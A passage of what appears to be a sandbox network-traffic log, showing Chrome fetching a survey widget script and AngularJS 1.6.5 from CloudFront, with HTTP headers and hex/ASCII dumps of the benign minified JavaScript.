ng-href="{{campaign.data.recruitUrl}}" target="_blank" id="button" ng-click="c.successAndClose()">
2024-11-23 20:11:51 UTC	16384	IN	Data Raw: 20 3c 2f 73 65 6c 65 63 74 3e 5c 6e 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 20 6e 67 2d 69 66 3d 22 66 6f 72 6d 2e 63 68 6f 69 63 65 2e 24 69 6e 76 61 6c 69 64 20 26 26 20 73 74 61 74 65 2e 73 75 62 6d 69 74 74 65 64 22 3e 7b 7b 63 6f 6e 74 72 6f 6c 2e 76 61 6c 69 64 61 74 69 6f 6e 54 65 78 74 7d 7d 3c 2f 70 3e 5c 6e 3c 2f 64 69 76 3e 5c 6e 27 29 2c 6e 2e 70 75 74 28 22 66 72 6f 6e 74 65 6e 64 2f 76 69 65 77 73 2f 66 6f 72 6d 2f 63 6f 6e 74 72 6f 6c 2f 63 6f 6d 6d 65 6e 74 2e 68 74 6d 6c 22 2c 27 3c 64 69 76 20 6e 67 2d 66 6f 72 6d 3d 22 66 6f 72 6d 22 20 6e 67 2d 69 6e 69 74 3d 22 64 61 74 61 5b 63 6f 6e 74 72 6f 6c 2e 6e 61 6d 65 5d 20 3d 20 64 61 74 61 5b 63 6f 6e 74 72 6f 6c 2e 6e 61 6d 65 5d 7c 7c 63 6f 6e 74 72 6f 6c 2e 64 65 66 Data Ascii: </select>\n <p class="error" ng-if="form.choice.$invalid && state.submitted">{{control.validationText}}</p>\n</div>\n'),n.put("frontend/views/form/control/comment.html",'<div ng-form="form" ng-init="data[control.name] = data[control.name]\|\|control.def
2024-11-23 20:11:51 UTC	1024	IN	Data Raw: 7c 28 74 68 69 73 2e 70 6f 73 74 4d 73 67 28 22 72 65 73 69 7a 65 22 2c 6e 29 2c 65 2e 5f 70 72 65 76 69 6f 75 73 53 69 7a 65 3d 6e 29 7d 2c 70 61 67 65 53 77 69 74 63 68 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 68 69 73 2e 70 6f 73 74 4d 73 67 28 22 70 61 67 65 53 77 69 74 63 68 22 2c 6e 29 7d 2c 67 6f 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 6f 70 65 6e 28 65 2c 22 5f 62 6c 61 6e 6b 22 29 7d 7d 2c 74 3d 5b 22 73 75 63 63 65 73 73 22 2c 22 73 75 63 63 65 73 73 4f 6e 46 65 65 64 62 61 63 6b 22 2c 22 66 61 69 6c 75 72 65 22 2c 22 63 6c 6f 73 65 22 2c 22 66 65 65 64 62 61 63 6b 22 2c 22 6d 61 72 6b 41 73 43 6c 69 63 6b 65 64 22 2c 22 66 61 69 6c 75 72 65 41 6e 64 43 6c 6f 73 65 22 2c 22 73 75 63 63 65 73 73 41 6e 64 43 6c 6f 73 65 22 5d 2c 61 3d 30 3b Data Ascii: \|(this.postMsg("resize",n),e._previousSize=n)},pageSwitch:function(n){this.postMsg("pageSwitch",n)},go:function(e){n.open(e,"_blank")}},t=["success","successOnFeedback","failure","close","feedback","markAsClicked","failureAndClose","successAndClose"],a=0;
2024-11-23 20:11:51 UTC	16384	IN	Data Raw: 5b 22 24 77 69 6e 64 6f 77 22 2c 22 24 64 6f 63 75 6d 65 6e 74 22 2c 22 43 61 6d 70 61 69 67 6e 53 65 72 76 69 63 65 22 5d 2c 6e 2e 65 78 70 6f 72 74 73 3d 74 7d 2c 33 35 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 2c 65 29 7b 72 65 74 75 72 6e 7b 6c 69 6e 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 61 2c 6f 29 7b 73 77 69 74 63 68 28 74 2e 63 61 6d 70 61 69 67 6e 3d 6e 28 6f 2e 75 62 43 61 6d 70 61 69 67 6e 29 28 74 29 2c 74 2e 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 26 26 74 2e 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 2e 73 68 6f 77 4f 6e 63 65 26 26 65 2e 6d 61 72 6b 41 73 43 6c 69 63 6b 65 64 28 29 2c 74 2e 63 61 6d 70 61 69 67 6e 2e 74 79 70 65 7c 7c 22 62 6f 6f 73 74 22 29 7b 63 61 73 65 22 62 6f 6f 73 74 22 3a 65 2e 73 Data Ascii: ["$window","$document","CampaignService"],n.exports=t},35:function(n,e){function t(n,e){return{link:function(t,a,o){switch(t.campaign=n(o.ubCampaign)(t),t.campaign.data&&t.campaign.data.showOnce&&e.markAsClicked(),t.campaign.type\|\|"boost"){case"boost":e.s
2024-11-23 20:11:51 UTC	150	IN	Data Raw: 46 65 65 64 62 61 63 6b 3c 2f 61 3e 5c 6e 3c 69 66 72 61 6d 65 20 69 64 3d 22 74 61 72 67 65 74 22 20 6e 61 6d 65 3d 22 74 61 72 67 65 74 22 3e 3c 2f 69 66 72 61 6d 65 3e 5c 6e 27 29 7d 5d 29 7d 2c 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 76 61 72 20 6e 3d 7b 7d 3b 72 65 74 75 72 6e 20 6e 2e 61 6c 6c 6f 77 48 74 6d 6c 3d 21 31 2c 6e 2e 73 75 70 70 6f 72 74 73 52 61 6e 67 65 3d 6f 28 29 2c 6e 7d Data Ascii: Feedback</a>\n<iframe id="target" name="target"></iframe>\n')}])},8:function(n,e,t){function a(){var n={};return n.allowHtml=!1,n.supportsRange=o(),n}
2024-11-23 20:11:51 UTC	244	IN	Data Raw: 76 61 72 20 6f 3d 74 28 31 37 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 61 7d 2c 39 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 2e 74 72 75 73 74 41 73 48 74 6d 6c 28 65 29 7d 7d 74 2e 24 69 6e 6a 65 63 74 3d 5b 22 24 73 63 65 22 5d 2c 6e 2e 65 78 70 6f 72 74 73 3d 74 7d 2c 39 30 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 28 33 38 29 2c 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 22 70 6f 6c 6c 22 2c 5b 22 63 61 6d 70 61 69 67 6e 22 2c 22 63 61 6d 70 61 69 67 6e 46 6f 72 6d 22 5d 29 7d 7d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 70 6f 6c 6c 2e 6a 73 2e 6d 61 70 0a Data Ascii: var o=t(17);n.exports=a},9:function(n,e){function t(n){return function(e){return n.trustAsHtml(e)}}t.$inject=["$sce"],n.exports=t},90:function(n,e,t){t(38),angular.module("poll",["campaign","campaignForm"])}});//# sourceMappingURL=poll.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49810	108.158.71.51	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:53 UTC	387	OUT	GET /live/campaign/js/24a5b93b0f.poll.js HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:54 UTC	581	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 51103 Connection: close Date: Sat, 23 Nov 2024 20:11:55 GMT Last-Modified: Tue, 15 Nov 2022 13:49:21 GMT ETag: "24a5b93b0fad21ff3ee2913dea782761" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=3600 x-amz-version-id: 54brC8CNx_49Yd0S04vuc7v73_5cjOtS Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 7499a2cb4ce8411b56e7edcaead781a0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: p0xizwpU8jyymOmQd-2Yb77dLHZPmnugTriToj0uNrUfxQcgxNXtvw==
2024-11-23 20:11:54 UTC	14588	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 69 66 28 74 5b 61 5d 29 72 65 74 75 72 6e 20 74 5b 61 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 61 5d 3d 7b 69 3a 61 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 6e 5b 61 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 65 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 74 3d 7b 7d 3b 65 2e 6d 3d 6e 2c 65 2e 63 3d 74 2c 65 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 61 29 7b 65 2e 6f 28 6e 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c Data Ascii: !function(n){function e(a){if(t[a])return t[a].exports;var o=t[a]={i:a,l:!1,exports:{}};return n[a].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var t={};e.m=n,e.c=t,e.d=function(n,t,a){e.o(n,t)\|\|Object.defineProperty(n,t,{configurable:!1,enumerable:!0,
2024-11-23 20:11:54 UTC	2329	IN	Data Raw: 6e 67 4d 6f 64 65 6c 22 2c 6c 69 6e 6b 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 2c 61 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 72 65 74 75 72 6e 20 61 2e 24 74 6f 75 63 68 65 64 3f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3a 76 6f 69 64 28 61 2e 24 74 6f 75 63 68 65 64 3d 21 30 29 7d 61 2e 24 70 61 72 73 65 72 73 2e 70 75 73 68 28 6f 29 7d 7d 7d 6e 2e 65 78 70 6f 72 74 73 3d 74 7d 2c 32 39 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 72 65 74 75 72 6e 7b 73 63 6f 70 65 3a 21 30 2c 72 65 73 74 72 69 63 74 3a 22 45 22 2c 6c 69 6e 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 22 73 74 79 6c 65 73 68 65 65 74 22 3d 3d 3d 61 2e 72 65 6c 26 26 74 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e Data Ascii: ngModel",link:function(n,e,t,a){function o(n){return a.$touched?n.toString():void(a.$touched=!0)}a.$parsers.push(o)}}}n.exports=t},29:function(n,e){function t(n){return{scope:!0,restrict:"E",link:function(e,t,a){"stylesheet"===a.rel&&t.ready(function(){n.
2024-11-23 20:11:54 UTC	16384	IN	Data Raw: 20 3c 2f 73 65 6c 65 63 74 3e 5c 6e 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 20 6e 67 2d 69 66 3d 22 66 6f 72 6d 2e 63 68 6f 69 63 65 2e 24 69 6e 76 61 6c 69 64 20 26 26 20 73 74 61 74 65 2e 73 75 62 6d 69 74 74 65 64 22 3e 7b 7b 63 6f 6e 74 72 6f 6c 2e 76 61 6c 69 64 61 74 69 6f 6e 54 65 78 74 7d 7d 3c 2f 70 3e 5c 6e 3c 2f 64 69 76 3e 5c 6e 27 29 2c 6e 2e 70 75 74 28 22 66 72 6f 6e 74 65 6e 64 2f 76 69 65 77 73 2f 66 6f 72 6d 2f 63 6f 6e 74 72 6f 6c 2f 63 6f 6d 6d 65 6e 74 2e 68 74 6d 6c 22 2c 27 3c 64 69 76 20 6e 67 2d 66 6f 72 6d 3d 22 66 6f 72 6d 22 20 6e 67 2d 69 6e 69 74 3d 22 64 61 74 61 5b 63 6f 6e 74 72 6f 6c 2e 6e 61 6d 65 5d 20 3d 20 64 61 74 61 5b 63 6f 6e 74 72 6f 6c 2e 6e 61 6d 65 5d 7c 7c 63 6f 6e 74 72 6f 6c 2e 64 65 66 Data Ascii: </select>\n <p class="error" ng-if="form.choice.$invalid && state.submitted">{{control.validationText}}</p>\n</div>\n'),n.put("frontend/views/form/control/comment.html",'<div ng-form="form" ng-init="data[control.name] = data[control.name]\|\|control.def
2024-11-23 20:11:54 UTC	9594	IN	Data Raw: 7c 28 74 68 69 73 2e 70 6f 73 74 4d 73 67 28 22 72 65 73 69 7a 65 22 2c 6e 29 2c 65 2e 5f 70 72 65 76 69 6f 75 73 53 69 7a 65 3d 6e 29 7d 2c 70 61 67 65 53 77 69 74 63 68 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 68 69 73 2e 70 6f 73 74 4d 73 67 28 22 70 61 67 65 53 77 69 74 63 68 22 2c 6e 29 7d 2c 67 6f 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 6f 70 65 6e 28 65 2c 22 5f 62 6c 61 6e 6b 22 29 7d 7d 2c 74 3d 5b 22 73 75 63 63 65 73 73 22 2c 22 73 75 63 63 65 73 73 4f 6e 46 65 65 64 62 61 63 6b 22 2c 22 66 61 69 6c 75 72 65 22 2c 22 63 6c 6f 73 65 22 2c 22 66 65 65 64 62 61 63 6b 22 2c 22 6d 61 72 6b 41 73 43 6c 69 63 6b 65 64 22 2c 22 66 61 69 6c 75 72 65 41 6e 64 43 6c 6f 73 65 22 2c 22 73 75 63 63 65 73 73 41 6e 64 43 6c 6f 73 65 22 5d 2c 61 3d 30 3b Data Ascii: \|(this.postMsg("resize",n),e._previousSize=n)},pageSwitch:function(n){this.postMsg("pageSwitch",n)},go:function(e){n.open(e,"_blank")}},t=["success","successOnFeedback","failure","close","feedback","markAsClicked","failureAndClose","successAndClose"],a=0;
2024-11-23 20:11:54 UTC	1568	IN	Data Raw: 2e 24 6f 6e 28 22 24 24 6d 65 73 73 61 67 65 2e 75 72 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 65 2e 75 72 6c 7c 7c 69 2e 73 65 74 4c 6f 63 61 6c 53 63 6f 70 65 28 7b 75 72 6c 3a 74 2e 75 72 6c 7d 29 7d 29 2c 65 2e 24 6f 6e 28 22 24 24 6d 65 73 73 61 67 65 2e 63 75 73 74 6f 6d 44 61 74 61 22 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 65 2e 64 61 74 61 26 26 28 65 2e 64 61 74 61 2e 65 6d 61 69 6c 26 26 28 6c 2e 65 6d 61 69 6c 3d 65 2e 64 61 74 61 2e 65 6d 61 69 6c 29 2c 65 2e 64 61 74 61 2e 63 75 73 74 6f 6d 26 26 69 2e 73 65 74 43 75 73 74 6f 6d 44 61 74 61 28 65 2e 64 61 74 61 2e 63 75 73 74 6f 6d 29 29 7d 29 2c 65 2e 24 6f 6e 28 22 24 24 6d 65 73 73 61 67 65 2e 6d 61 73 6b 69 6e 67 22 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 65 2e 64 61 Data Ascii: .$on("$$message.url",function(n,t){e.url\|\|i.setLocalScope({url:t.url})}),e.$on("$$message.customData",function(n,e){e.data&&(e.data.email&&(l.email=e.data.email),e.data.custom&&i.setCustomData(e.data.custom))}),e.$on("$$message.masking",function(n,e){e.da
2024-11-23 20:11:54 UTC	6396	IN	Data Raw: 61 74 61 3d 22 64 61 74 61 22 20 6f 6e 2d 61 75 74 6f 2d 73 75 62 6d 69 74 3d 22 61 75 74 6f 53 75 62 6d 69 74 46 6f 72 6d 28 63 6f 6e 74 72 6f 6c 29 22 20 63 6c 61 73 73 3d 22 63 6f 6e 74 72 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6e 74 72 6f 6c 2d 7b 7b 63 6f 6e 74 72 6f 6c 2e 74 79 70 65 7d 7d 22 3e 3c 2f 64 69 76 3e 5c 6e 3c 2f 66 6f 72 6d 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 27 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 5c 27 20 6e 67 2d 69 66 3d 22 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 2e 70 72 69 76 61 63 79 2e 61 63 74 69 76 65 22 3e 5c 6e 20 20 20 20 3c 70 20 6e 67 2d 73 68 6f 77 3d 22 73 68 6f 77 50 50 22 20 6e 67 2d 69 66 3d 22 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 2e 70 72 69 76 61 63 79 2e 74 6f 6f 6c 74 69 70 22 3e 7b 7b 63 61 Data Ascii: ata="data" on-auto-submit="autoSubmitForm(control)" class="control-container control-{{control.type}}"></div>\n</form>\n<div class=\'privacy-policy\' ng-if="campaign.data.privacy.active">\n <p ng-show="showPP" ng-if="campaign.data.privacy.tooltip">{{ca
2024-11-23 20:11:54 UTC	244	IN	Data Raw: 76 61 72 20 6f 3d 74 28 31 37 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 61 7d 2c 39 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 2e 74 72 75 73 74 41 73 48 74 6d 6c 28 65 29 7d 7d 74 2e 24 69 6e 6a 65 63 74 3d 5b 22 24 73 63 65 22 5d 2c 6e 2e 65 78 70 6f 72 74 73 3d 74 7d 2c 39 30 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 28 33 38 29 2c 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 22 70 6f 6c 6c 22 2c 5b 22 63 61 6d 70 61 69 67 6e 22 2c 22 63 61 6d 70 61 69 67 6e 46 6f 72 6d 22 5d 29 7d 7d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 70 6f 6c 6c 2e 6a 73 2e 6d 61 70 0a Data Ascii: var o=t(17);n.exports=a},9:function(n,e){function t(n){return function(e){return n.trustAsHtml(e)}}t.$inject=["$sce"],n.exports=t},90:function(n,e,t){t(38),angular.module("poll",["campaign","campaignForm"])}});//# sourceMappingURL=poll.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49811	108.158.71.51	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:53 UTC	379	OUT	GET /vendor/1.6.5/angular.min.js HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:54 UTC	555	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 168517 Connection: close Date: Sat, 23 Nov 2024 20:11:55 GMT Last-Modified: Mon, 15 Oct 2018 13:12:21 GMT ETag: "07a72b597f2fc10d6f88c8277d903d94" Cache-Control: public, max-age=31536000 x-amz-version-id: vcdCWXCYksVKD7G3lFwbKc37p7539vVp Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 fc56b8a676000a5893378ee9d2b55f78.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: FAK7Tmkxgb2oveBoZaZv3RnXXjJliJl0i9uy4OQKEnemj9uD8XTIvA==
2024-11-23 20:11:54 UTC	16384	IN	Data Raw: 2f 2a 0a 20 41 6e 67 75 6c 61 72 4a 53 20 76 31 2e 36 2e 35 0a 20 28 63 29 20 32 30 31 30 2d 32 30 31 37 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 2e 20 68 74 74 70 3a 2f 2f 61 6e 67 75 6c 61 72 6a 73 2e 6f 72 67 0a 20 4c 69 63 65 6e 73 65 3a 20 4d 49 54 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 70 65 28 61 29 7b 69 66 28 47 28 61 29 29 74 28 61 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 29 26 26 28 4c 63 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 3d 54 62 28 61 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 29 3f 61 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 3a 4e 61 4e 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 4c 63 7d 66 75 6e 63 74 69 6f 6e 20 54 62 28 61 29 7b 72 65 74 75 72 6e Data Ascii: /* AngularJS v1.6.5 (c) 2010-2017 Google, Inc. http://angularjs.org License: MIT*/(function(x){'use strict';function pe(a){if(G(a))t(a.objectMaxDepth)&&(Lc.objectMaxDepth=Tb(a.objectMaxDepth)?a.objectMaxDepth:NaN);else return Lc}function Tb(a){return
2024-11-23 20:11:54 UTC	559	IN	Data Raw: 43 68 69 6c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 47 62 28 61 2c 62 29 7b 62 7c 7c 7a 62 28 61 29 3b 76 61 72 20 64 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 64 26 26 64 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 69 67 28 61 2c 0a 62 29 7b 62 3d 62 7c 7c 78 3b 69 66 28 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 62 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 29 62 2e 73 65 74 54 69 6d 65 6f 75 74 28 61 29 3b 65 6c 73 65 20 7a 28 62 29 2e 6f 6e 28 22 6c 6f 61 64 22 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 67 64 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 78 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 62 29 3b Data Ascii: Child)}function Gb(a,b){b\|\|zb(a);var d=a.parentNode;d&&d.removeChild(a)}function ig(a,b){b=b\|\|x;if("complete"===b.document.readyState)b.setTimeout(a);else z(b).on("load",a)}function gd(a){function b(){x.document.removeEventListener("DOMContentLoaded",b);
2024-11-23 20:11:54 UTC	16384	IN	Data Raw: 65 74 75 72 6e 20 63 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 7d 3b 76 61 72 20 66 3d 0a 62 5b 64 7c 7c 63 2e 74 79 70 65 5d 2c 67 3d 66 3f 66 2e 6c 65 6e 67 74 68 3a 30 3b 69 66 28 67 29 7b 69 66 28 76 28 63 2e 69 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 29 29 7b 76 61 72 20 6b 3d 63 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 3b 63 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 69 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 21 30 3b 63 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 26 26 63 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 6b 26 26 6b 2e 63 61 6c Data Ascii: eturn c.defaultPrevented};var f=b[d\|\|c.type],g=f?f.length:0;if(g){if(v(c.immediatePropagationStopped)){var k=c.stopImmediatePropagation;c.stopImmediatePropagation=function(){c.immediatePropagationStopped=!0;c.stopPropagation&&c.stopPropagation();k&&k.cal
2024-11-23 20:11:54 UTC	1024	IN	Data Raw: 72 65 71 75 69 72 65 2c 68 61 2c 54 29 2c 77 29 3b 70 28 54 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 69 6e 73 74 61 6e 63 65 3b 45 28 61 2e 24 70 6f 73 74 4c 69 6e 6b 29 26 26 61 2e 24 70 6f 73 74 4c 69 6e 6b 28 29 7d 29 7d 6c 3d 6c 7c 7c 7b 7d 3b 66 6f 72 28 76 61 72 20 6e 3d 2d 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 48 3d 6c 2e 6e 65 77 53 63 6f 70 65 44 69 72 65 63 74 69 76 65 2c 75 3d 6c 2e 63 6f 6e 74 72 6f 6c 6c 65 72 44 69 72 65 63 74 69 76 65 73 2c 4c 3d 6c 2e 6e 65 77 49 73 6f 6c 61 74 65 53 63 6f 70 65 44 69 72 65 63 74 69 76 65 2c 4d 3d 6c 2e 74 65 6d 70 6c 61 74 65 44 69 72 65 63 74 69 76 65 2c 4a 3d 6c 2e 6e 6f 6e 54 6c 62 54 72 61 6e 73 63 6c 75 64 65 44 69 72 65 63 74 69 76 65 2c 5a 3d 21 31 2c 54 3d 21 31 2c 55 3d 6c Data Ascii: require,ha,T),w);p(T,function(a){a=a.instance;E(a.$postLink)&&a.$postLink()})}l=l\|\|{};for(var n=-Number.MAX_VALUE,H=l.newScopeDirective,u=l.controllerDirectives,L=l.newIsolateScopeDirective,M=l.templateDirective,J=l.nonTlbTranscludeDirective,Z=!1,T=!1,U=l
2024-11-23 20:11:54 UTC	16384	IN	Data Raw: 5d 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 72 3d 53 28 54 61 2c 77 2c 65 2c 6e 2c 66 26 26 66 2e 6e 61 6d 65 2c 7b 6e 6f 6e 54 6c 62 54 72 61 6e 73 63 6c 75 64 65 44 69 72 65 63 74 69 76 65 3a 4a 7d 29 3b 65 6c 73 65 7b 76 61 72 20 4b 3d 52 28 29 3b 69 66 28 47 28 56 29 29 7b 77 3d 5b 5d 3b 76 61 72 20 4e 3d 52 28 29 2c 6c 62 3d 52 28 29 3b 70 28 56 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 22 3f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 3b 61 3d 63 3f 61 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3a 61 3b 4e 5b 61 5d 3d 62 3b 4b 5b 62 5d 3d 6e 75 6c 6c 3b 6c 62 5b 62 5d 3d 63 7d 29 3b 70 28 79 2e 63 6f 6e 74 65 6e 74 73 28 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 4e 5b 45 61 28 79 61 28 61 29 29 5d 3b 62 3f 28 6c 62 5b Data Ascii: ].parentNode,r=S(Ta,w,e,n,f&&f.name,{nonTlbTranscludeDirective:J});else{var K=R();if(G(V)){w=[];var N=R(),lb=R();p(V,function(a,b){var c="?"===a.charAt(0);a=c?a.substring(1):a;N[a]=b;K[b]=null;lb[b]=c});p(y.contents(),function(a){var b=N[Ea(ya(a))];b?(lb[
2024-11-23 20:11:54 UTC	1024	IN	Data Raw: 61 72 61 6d 53 65 72 69 61 6c 69 7a 65 72 3b 76 61 72 20 75 3d 5b 5d 3b 70 28 64 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 75 2e 75 6e 73 68 69 66 74 28 43 28 61 29 3f 6c 2e 67 65 74 28 61 29 3a 6c 2e 69 6e 76 6f 6b 65 28 61 29 29 7d 29 3b 6e 2e 70 65 6e 64 69 6e 67 52 65 71 75 65 73 74 73 3d 5b 5d 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 70 28 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6e 5b 61 5d 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 6e 28 4f 28 7b 7d 2c 63 7c 7c 7b 7d 2c 7b 6d 65 74 68 6f 64 3a 61 2c 75 72 6c 3a 62 7d 29 29 7d 7d 29 7d 29 28 22 67 65 74 22 2c 22 64 65 6c 65 74 65 22 2c 22 68 65 61 64 22 2c 22 6a 73 6f 6e 70 22 29 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 70 28 61 72 67 75 6d 65 6e 74 73 Data Ascii: aramSerializer;var u=[];p(d,function(a){u.unshift(C(a)?l.get(a):l.invoke(a))});n.pendingRequests=[];(function(a){p(arguments,function(a){n[a]=function(b,c){return n(O({},c\|\|{},{method:a,url:b}))}})})("get","delete","head","jsonp");(function(a){p(arguments
